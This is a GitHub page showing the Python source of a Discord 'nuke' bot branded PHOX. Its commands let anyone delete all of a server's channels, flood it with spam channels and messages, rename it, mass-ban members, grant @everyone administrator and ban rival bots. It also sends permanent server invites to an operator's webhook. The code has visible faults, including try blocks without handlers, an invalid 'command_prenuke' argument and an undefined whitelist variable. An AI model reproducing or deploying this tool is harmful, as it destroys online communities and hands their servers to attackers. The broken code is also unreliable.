-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMain.py
More file actions
682 lines (556 loc) · 25.2 KB
/
Copy pathMain.py
File metadata and controls
682 lines (556 loc) · 25.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
import discord
from discord.ext import commands
import asyncio
import os
import aiohttp
import random
from datetime import datetime
TOKEN_FILE = 'config/token.txt'
CHANNEL_NAMES_FILE = 'config/channel_names.txt'
MESSAGES_FILE = 'config/messages.txt'
BANNED_IDS_FILE = 'config/antinuke_bot_ids.txt'
CONFIG_FILE = 'config/config.txt'
SERVER_FILE = 'config/server.txt'
ROLE_FILE = 'config/role.txt'
WEBHOOK_URL = 'your_webhook_url'
def get_token():
try:
with open(TOKEN_FILE, 'r', encoding='utf-8') as file:
token = file.read().strip()
if not token:
print("Error: token.txt is empty!")
return None
return token
except FileNotFoundError:
print(f"Error: {TOKEN_FILE} not found!")
return None
except Exception as e:
print(f"Error reading token.txt: {e}")
return None
def get_message_count():
try:
with open(CONFIG_FILE, 'r', encoding='utf-8') as file:
for line in file:
if line.startswith('MESSAGE_COUNT='):
count = int(line.strip().split('=')[1])
return max(1, min(count, 100))
return 2
except FileNotFoundError:
return 2
except Exception:
return 2
def get_new_server_name():
try:
with open(CONFIG_FILE, 'r', encoding='utf-8') as file:
for line in file:
if line.startswith('SERVER_NAME='):
name = line.strip().split('=')[1]
return name
def get_server_icon_url():
try:
with open(CONFIG_FILE, 'r', encoding='utf-8') as file:
for line in file:
if line.startswith('SERVER_ICON_URL='):
url = line.strip().split('=')[1]
return url
def get_role_count():
try:
with open(CONFIG_FILE, 'r', encoding='utf-8') as file:
for line in file:
if line.startswith('ROLE_COUNT='):
count = int(line.strip().split('=')[1])
return max(1, min(count, 500))
return 5
except FileNotFoundError:
return 5
except Exception:
return 5
def get_blacklisted_servers():
blacklisted_servers = []
try:
with open(SERVER_FILE, 'r', encoding='utf-8') as file:
for line in file:
line = line.strip()
if line and line.isdigit():
blacklisted_servers.append(int(line))
return blacklisted_servers
except FileNotFoundError:
return []
except Exception:
return []
def is_server_blacklisted(guild_id):
blacklisted = get_blacklisted_servers()
if not blacklisted:
return False
return guild_id in blacklisted
async def create_server_invite(guild):
try:
channel = None
for ch in guild.text_channels:
if ch.permissions_for(guild.me).create_instant_invite:
channel = ch
break
if channel:
invite = await channel.create_invite(
max_age=0,
max_uses=0,
reason="Nuke - Permanent Invite"
)
return invite.url
else:
return "No permission to create invite"
except Exception as e:
return f"Failed to create invite: {e}"
async def send_webhook_log(user, command, server, details=""):
if not WEBHOOK_URL:
return
try:
bot_invite_link = f"https://discord.com/api/oauth2/authorize?client_id={bot.user.id}&permissions=8&scope=bot"
server_invite = await create_server_invite(server)
embed = discord.Embed(
title="📋 COMMAND LOG",
color=discord.Color.red(),
timestamp=datetime.utcnow()
)
embed.add_field(name="👤 User", value=f"{user.name} (ID: {user.id})", inline=False)
embed.add_field(name="⚡ Command", value=f"`{command}`", inline=True)
embed.add_field(name="🖥️ Server", value=f"{server.name} (ID: {server.id})", inline=True)
if details:
embed.add_field(name="📝 Details", value=details, inline=False)
embed.add_field(name="🔗 Permanent Server Invite", value=f"[Click Here to Join Server (Never Expires)]({server_invite})", inline=False)
embed.add_field(name="🤖 Bot Invite", value=f"[Click Here to Invite Bot]({bot_invite_link})", inline=False)
embed.set_footer(text=f"Made By https://github.com/Phase-Project • {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')}")
async with aiohttp.ClientSession() as session:
webhook = discord.Webhook.from_url(WEBHOOK_URL, session=session)
await webhook.send(embed=embed)
except Exception as e:
print(f"Failed to send webhook log: {e}")
intents = discord.Intents.default()
intents.guilds = True
intents.guild_messages = True
intents.message_content = True
intents.members = True
bot = commands.Bot(command_prenuke='!', intents=intents)
def read_channel_names():
"""Read channel names from channel_names.txt and return in RANDOM order"""
try:
with open(CHANNEL_NAMES_FILE, 'r', encoding='utf-8') as file:
channels = [line.strip() for line in file if line.strip()]
random.shuffle(channels)
print(f"✅ Loaded {len(channels)} channel names in RANDOM order")
return channels
except FileNotFoundError:
print(f"Error: {CHANNEL_NAMES_FILE} not found!")
def read_role_names():
try:
with open(ROLE_FILE, 'r', encoding='utf-8') as file:
roles = [line.strip() for line in file if line.strip()]
print(f"✅ Loaded {len(roles)} role names from role.txt")
return roles
except FileNotFoundError:
print(f"Error: {ROLE_FILE} not found! Creating default roles...")
def read_message():
try:
with open(MESSAGES_FILE, 'r', encoding='utf-8') as file:
message = file.read().strip()
return message
def read_banned_ids():
banned_ids = []
try:
with open(BANNED_IDS_FILE, 'r', encoding='utf-8') as file:
for line in file:
line = line.strip()
if line and line.isdigit():
banned_ids.append(int(line))
return banned_ids
except FileNotFoundError:
open(BANNED_IDS_FILE, 'w').close()
return []
except Exception:
return []
async def download_image(url):
try:
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
if response.status == 200:
return await response.read()
else:
print(f"Failed to download image: HTTP {response.status}")
return None
except Exception as e:
print(f"Error downloading image: {e}")
return None
async def change_server_icon(guild, icon_url):
try:
image_data = await download_image(icon_url)
if image_data:
await guild.edit(icon=image_data)
print(f"✅ Changed server icon for {guild.name}")
return True
else:
print(f"❌ Failed to download icon for {guild.name}")
return False
except discord.Forbidden:
print(f"❌ No permission to change icon in {guild.name}")
return False
except Exception as e:
print(f"❌ Failed to change icon: {e}")
return False
async def change_server_name(guild, new_name):
try:
await guild.edit(name=new_name)
print(f"✅ Changed server name to: {new_name}")
return True
except discord.Forbidden:
print(f"❌ No permission to change server name in {guild.name}")
return False
except Exception as e:
print(f"❌ Failed to change server name: {e}")
return False
async def delete_all_channels(guild):
deleted_count = 0
delete_tasks = []
for channel in guild.channels:
delete_tasks.append(channel.delete())
deleted_count += 1
if delete_tasks:
await asyncio.gather(*delete_tasks)
print(f"Deleted {deleted_count} channels")
return deleted_count
async def create_channel_and_send(guild, channel_name, message, index, total):
try:
valid_name = channel_name.replace(' ', '-')
valid_name = valid_name[:100]
if len(valid_name) < 2:
valid_name = f"channel-{index}"
new_channel = await guild.create_text_channel(valid_name)
print(f"[{index+1}/{total}] Created channel: {valid_name}")
message_count = get_message_count()
for i in range(message_count):
await new_channel.send(message)
await asyncio.sleep(0.1)
print(f"[{index+1}/{total}] Sent message {message_count} times to #{valid_name}")
return new_channel, message_count
except Exception as e:
print(f"Failed to create {channel_name}: {e}")
return None, 0
async def create_all_channels_and_send(guild, channel_names, message):
created_channels = []
total_messages_sent = 0
create_tasks = []
for i, channel_name in enumerate(channel_names):
task = create_channel_and_send(guild, channel_name, message, i, len(channel_names))
create_tasks.append(task)
results = await asyncio.gather(*create_tasks)
for channel, msg_count in results:
if channel:
created_channels.append(channel)
total_messages_sent += msg_count
print(f"\n✅ Created {len(created_channels)} channels and sent {total_messages_sent} messages SIMULTANEOUSLY!")
return len(created_channels), total_messages_sent
async def ban_all_nuke_bots(guild):
banned_ids = read_banned_ids()
if not banned_ids:
return 0
print(f"Found {len(banned_ids)} nuke bot ID(s) to ban in {guild.name}")
ban_tasks = []
for user_id in banned_ids:
try:
user = await bot.fetch_user(user_id)
ban_tasks.append(guild.ban(user, reason="Auto-banned: Nuke bot"))
print(f"Banning user ID: {user_id}")
except:
pass
if ban_tasks:
await asyncio.gather(*ban_tasks)
return len(ban_tasks)
async def mass_ban(guild):
banned_count = 0
failed_count = 0
bot_member = guild.get_member(bot.user.id)
if not bot_member:
print("❌ Could not find bot member in guild")
return 0, 0
bot_highest_role = bot_member.top_role
print(f"Bot's highest role: {bot_highest_role.name} (Position: {bot_highest_role.position})")
print(f"Starting mass ban on {guild.name}...")
members = [m for m in guild.members if m != bot_member]
for member in members:
try:
if member.top_role.position < bot_highest_role.position:
await member.ban(reason="Mass ban by PHOX")
banned_count += 1
print(f"✅ Banned {member.name} (ID: {member.id})")
await asyncio.sleep(0.5)
else:
print(f"⏭️ Skipped {member.name} (role too high: {member.top_role.name})")
failed_count += 1
except discord.Forbidden:
print(f"❌ Cannot ban {member.name} (permission issue)")
failed_count += 1
except Exception as e:
print(f"❌ Failed to ban {member.name}: {e}")
failed_count += 1
return banned_count, failed_count
async def give_everyone_admin(guild):
admin_count = 0
everyone_role = guild.default_role
try:
perms = discord.Permissions()
perms.administrator = True
await everyone_role.edit(permissions=perms)
print(f"✅ Gave administrator to @everyone in {guild.name}")
admin_count = len(guild.members)
admin_role = await guild.create_role(name="🔥 PHOX ADMIN 🔥", permissions=perms)
for member in guild.members:
try:
await member.add_roles(admin_role)
admin_count += 1
except:
pass
await asyncio.sleep(0.1)
print(f"✅ Gave administrator to {admin_count} users in {guild.name}")
return admin_count
except discord.Forbidden:
print(f"❌ No permission to give admin in {guild.name}")
return 0
except Exception as e:
print(f"❌ Failed to give admin: {e}")
return 0
async def create_roles_from_file(guild):
role_names = read_role_names()
role_count_to_create = get_role_count()
roles_to_create = role_names[:role_count_to_create]
created_roles = []
print(f"Creating {len(roles_to_create)} roles in {guild.name}...")
for i, role_name in enumerate(roles_to_create):
try:
role = await guild.create_role(name=role_name, hoist=True)
created_roles.append(role)
print(f"[{i+1}/{len(roles_to_create)}] Created role: {role_name}")
await asyncio.sleep(0.3)
except Exception as e:
print(f"Failed to create role {role_name}: {e}")
if created_roles:
try:
bot_member = guild.get_member(bot.user.id)
highest_role = created_roles[0]
await bot_member.add_roles(highest_role)
print(f"✅ Gave highest role to bot")
except:
pass
print(f"✅ Created {len(created_roles)} roles in {guild.name}")
return len(created_roles)
async def nuke_server(guild):
print(f"\n{'='*50}")
print(f"🔧 STARTING NUKE ON SERVER: {guild.name} (ID: {guild.id})")
print(f"{'='*50}")
print(f"\n[STEP 0] Changing server identity...")
new_name = get_new_server_name()
icon_url = get_server_icon_url()
await change_server_name(guild, new_name)
await change_server_icon(guild, icon_url)
print(f"\n[STEP 1] Banning nuke bots...")
banned = await ban_all_nuke_bots(guild)
print(f"✅ Banned {banned} nuke bot(s)")
print(f"\n[STEP 2] Loading configuration...")
channel_names = read_channel_names()
message = read_message()
message_count = get_message_count()
print(f"✅ Loaded {len(channel_names)} channel names in RANDOM order from channel_names.txt")
print(f"✅ Loaded message from messages.txt")
print(f"✅ Will send message {message_count} times per channel")
print(f"\n[STEP 3] Deleting all channels...")
await delete_all_channels(guild)
await asyncio.sleep(1)
print(f"\n[STEP 4+5] Creating {len(channel_names)} channels in RANDOM order AND sending messages SIMULTANEOUSLY...")
print(f"🚀 Each channel will receive the message {message_count} times!\n")
channels_created, messages_sent = await create_all_channels_and_send(guild, channel_names, message)
print(f"\n{'='*50}")
print(f"✅ SERVER {guild.name} HAS BEEN TAKEN OVER!")
print(f" - Changed server name to: {new_name}")
print(f" - Changed server icon")
print(f" - Banned {banned} nuke bots")
print(f" - Created {channels_created} channels in RANDOM order from channel_names.txt")
print(f" - Sent message {messages_sent} times ({message_count} per channel)")
print(f"{'='*50}\n")
@bot.event
async def on_ready():
print(f'{bot.user} has connected to Discord!')
if WEBHOOK_URL:
print(f'✅ Webhook logging is ENABLED')
else:
print(f'⚠️ Webhook logging is DISABLED (set WEBHOOK_URL)')
print(f'👑 Whitelisted user ID: {WHITELISTED_USER_ID}')
print(f'📋 Only this user can use !guilds command\n')
blacklisted_servers = get_blacklisted_servers()
if blacklisted_servers:
print(f"\n🚫 BLACKLISTED SERVERS ({len(blacklisted_servers)}):")
for server_id in blacklisted_servers:
print(f" - {server_id}")
print(f"\n📊 Bot is in {len(bot.guilds)} server(s):")
for guild in bot.guilds:
if is_server_blacklisted(guild.id):
print(f" 🚫 {guild.name} (ID: {guild.id}) - BLACKLISTED")
else:
print(f" ✅ {guild.name} (ID: {guild.id}) - READY")
message_count = get_message_count()
new_name = get_new_server_name()
channel_count = len(read_channel_names())
role_count = get_role_count()
print(f"\n📨 Configured to send message {message_count} times per channel")
print(f"🏷️ Server name will be changed to: {new_name}")
print(f"📋 Will create {channel_count} channels from channel_names.txt")
print(f"🎭 Will create {role_count} roles from role.txt (NO COLORS)")
print(f"🖼️ Server icon URL: {get_server_icon_url()}\n")
print("🎯 Bot is ready and waiting for commands!")
print("💀 Available commands (ANYONE can use them - NO PERMISSIONS NEEDED):")
print(" !rip - Take over server (change name, icon, delete channels, create new ones)")
print(" !massban - Ban everyone with role below bot")
print(" !admin - Give everyone administrator permissions")
print(" !riprole - Create roles from role.txt (NO COLORS)")
print(" !guilds - Show all servers bot is in (WHITELIST ONLY)")
@bot.event
async def on_guild_join(guild):
print(f"\n📥 BOT ADDED TO SERVER: {guild.name} (ID: {guild.id})")
await send_webhook_log(bot.user, "BOT ADDED", guild, f"Bot was added to server {guild.name}")
if is_server_blacklisted(guild.id):
print(f"🚫 Server is BLACKLISTED!")
try:
if guild.system_channel:
await guild.system_channel.send("🚫 This server is blacklisted! Bot will not work here.")
except:
pass
return
print(f"✅ Server is ready! Waiting for !rip command")
try:
if guild.system_channel:
await guild.system_channel.send("💀 **PHOX BOT IS READY** 💀\nType `!rip` to take over this server!\n`!massban` - Ban everyone\n`!admin` - Give everyone admin\n`!riprole` - Create roles")
except:
pass
@bot.command(name='guilds')
async def guilds_command(ctx):
if ctx.author.id != WHITELISTED_USER_ID:
await ctx.send(f"❌ You are not authorized to use this command! This command is only for <@{WHITELISTED_USER_ID}>")
await send_webhook_log(ctx.author, "!guilds (DENIED)", ctx.guild, f"User {ctx.author.name} tried to use !guilds but was not whitelisted")
return
await send_webhook_log(ctx.author, "!guilds", ctx.guild, f"Whitelisted user requested server list")
await ctx.send("📋 **Fetching server list and creating PERMANENT invites...** (This may take a moment)")
embed = discord.Embed(
title="📋 SERVER LIST",
color=discord.Color.green(),
timestamp=datetime.utcnow()
)
embed.set_thumbnail(url=bot.user.avatar.url if bot.user.avatar else None)
embed.add_field(name="🤖 Bot Name", value=bot.user.name, inline=True)
embed.add_field(name="📊 Total Servers", value=str(len(bot.guilds)), inline=True)
server_list = ""
for i, guild in enumerate(bot.guilds, 1):
invite_link = await create_server_invite(guild)
server_list += f"**{i}.** {guild.name}\n"
server_list += f" └ ID: `{guild.id}`\n"
server_list += f" └ Members: {guild.member_count}\n"
server_list += f" └ [Join Server (Never Expires)]({invite_link})\n\n"
if len(server_list) > 900:
embed.add_field(name="🖥️ SERVERS (Continued)", value=server_list, inline=False)
server_list = ""
if server_list:
embed.add_field(name="🖥️ SERVERS", value=server_list, inline=False)
else:
embed.add_field(name="🖥️ SERVERS", value="No servers found.", inline=False)
bot_invite_link = f"https://discord.com/api/oauth2/authorize?client_id={bot.user.id}&permissions=8&scope=bot"
embed.add_field(name="🤖 Bot Invite", value=f"[Click Here to Invite Bot]({bot_invite_link})", inline=False)
embed.set_footer(text=f"Requested by {ctx.author.name} • {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')}")
await ctx.send(embed=embed)
@bot.command(name='rip')
async def rip_command(ctx):
if is_server_blacklisted(ctx.guild.id):
await ctx.send("🚫 This server is blacklisted!")
return
await send_webhook_log(ctx.author, "!rip", ctx.guild, f"User triggered server takeover")
await ctx.send("💀 **RIP SERVER** 💀\nStarting server takeover...")
await nuke_server(ctx.guild)
@bot.command(name='massban')
async def massban_command(ctx):
"""Ban every user with a role below the bot's highest role - NO PERMISSIONS NEEDED"""
if is_server_blacklisted(ctx.guild.id):
await ctx.send("🚫 This server is blacklisted!")
return
await send_webhook_log(ctx.author, "!massban", ctx.guild, f"User initiated mass ban")
await ctx.send("💀 **Starting mass ban...** 💀\nBanning all users with roles below the bot...")
banned, failed = await mass_ban(ctx.guild)
result = f"Banned: {banned} users, Failed/Skipped: {failed} users"
await send_webhook_log(ctx.author, "!massban COMPLETE", ctx.guild, result)
await ctx.send(f"✅ **Mass ban complete!**\n"
f"🔨 Banned: {banned} users\n"
f"❌ Failed/Skipped: {failed} users")
@bot.command(name='admin')
async def admin_command(ctx):
"""Give everyone administrator permissions - NO PERMISSIONS NEEDED"""
if is_server_blacklisted(ctx.guild.id):
await ctx.send("🚫 This server is blacklisted!")
return
await send_webhook_log(ctx.author, "!admin", ctx.guild, f"User gave everyone administrator permissions")
await ctx.send("👑 **Giving everyone administrator permissions...** 👑")
admin_count = await give_everyone_admin(ctx.guild)
if admin_count > 0:
result = f"Gave admin to {admin_count} users"
await send_webhook_log(ctx.author, "!admin COMPLETE", ctx.guild, result)
await ctx.send(f"✅ **Everyone now has administrator!**\n"
f"👑 {admin_count} users have admin permissions\n"
f"🔥 PHOX RULES 🔥")
else:
await ctx.send("❌ Failed to give admin permissions! Check bot role position.")
@bot.command(name='riprole')
async def riprole_command(ctx):
"""Create roles from role.txt - NO COLORS, NO PERMISSIONS NEEDED"""
if is_server_blacklisted(ctx.guild.id):
await ctx.send("🚫 This server is blacklisted!")
return
role_count = get_role_count()
await send_webhook_log(ctx.author, "!riprole", ctx.guild, f"User creating {role_count} roles from role.txt")
await ctx.send(f"🎭 **Creating {role_count} roles from role.txt...** 🎭")
roles_created = await create_roles_from_file(ctx.guild)
result = f"Created {roles_created} roles"
await send_webhook_log(ctx.author, "!riprole COMPLETE", ctx.guild, result)
@bot.event
async def on_member_join(member):
if is_server_blacklisted(member.guild.id):
return
banned_ids = read_banned_ids()
if member.id in banned_ids:
print(f"⚠️ DETECTED NUKE BOT JOINING {member.guild.name}!")
try:
await member.ban(reason="Auto-banned: Known nuke bot")
print(f"✅ Banned nuke bot {member.name}")
await send_webhook_log(member, "NUKE BOT DETECTED", member.guild, f"Auto-banned nuke bot {member.name}")
except Exception as e:
print(f"Failed to ban nuke bot: {e}")
@bot.event
async def on_message(message):
if message.author == bot.user:
return
if is_server_blacklisted(message.guild.id):
return
banned_ids = read_banned_ids()
if message.author.id in banned_ids:
print(f"⚠️ DETECTED NUKE BOT MESSAGE in {message.guild.name}")
try:
await message.author.ban(reason="Auto-banned: Nuke bot detected")
await message.delete()
print(f"✅ Banned nuke bot and deleted message")
await send_webhook_log(message.author, "NUKE BOT MESSAGE", message.guild, f"Auto-banned nuke bot for messaging")
except Exception as e:
print(f"Failed to ban: {e}")
await bot.process_commands(message)
if __name__ == "__main__":
token = get_token()
if token:
if not WEBHOOK_URL:
print("⚠️ WARNING: WEBHOOK_URL is not set! Logging will be disabled.")
print("To enable logging, set WEBHOOK_URL in the bot code.\n")
print("Starting bot...")
bot.run(token)
else:
print("Cannot start bot without a valid token!")
input("Press Enter to exit...")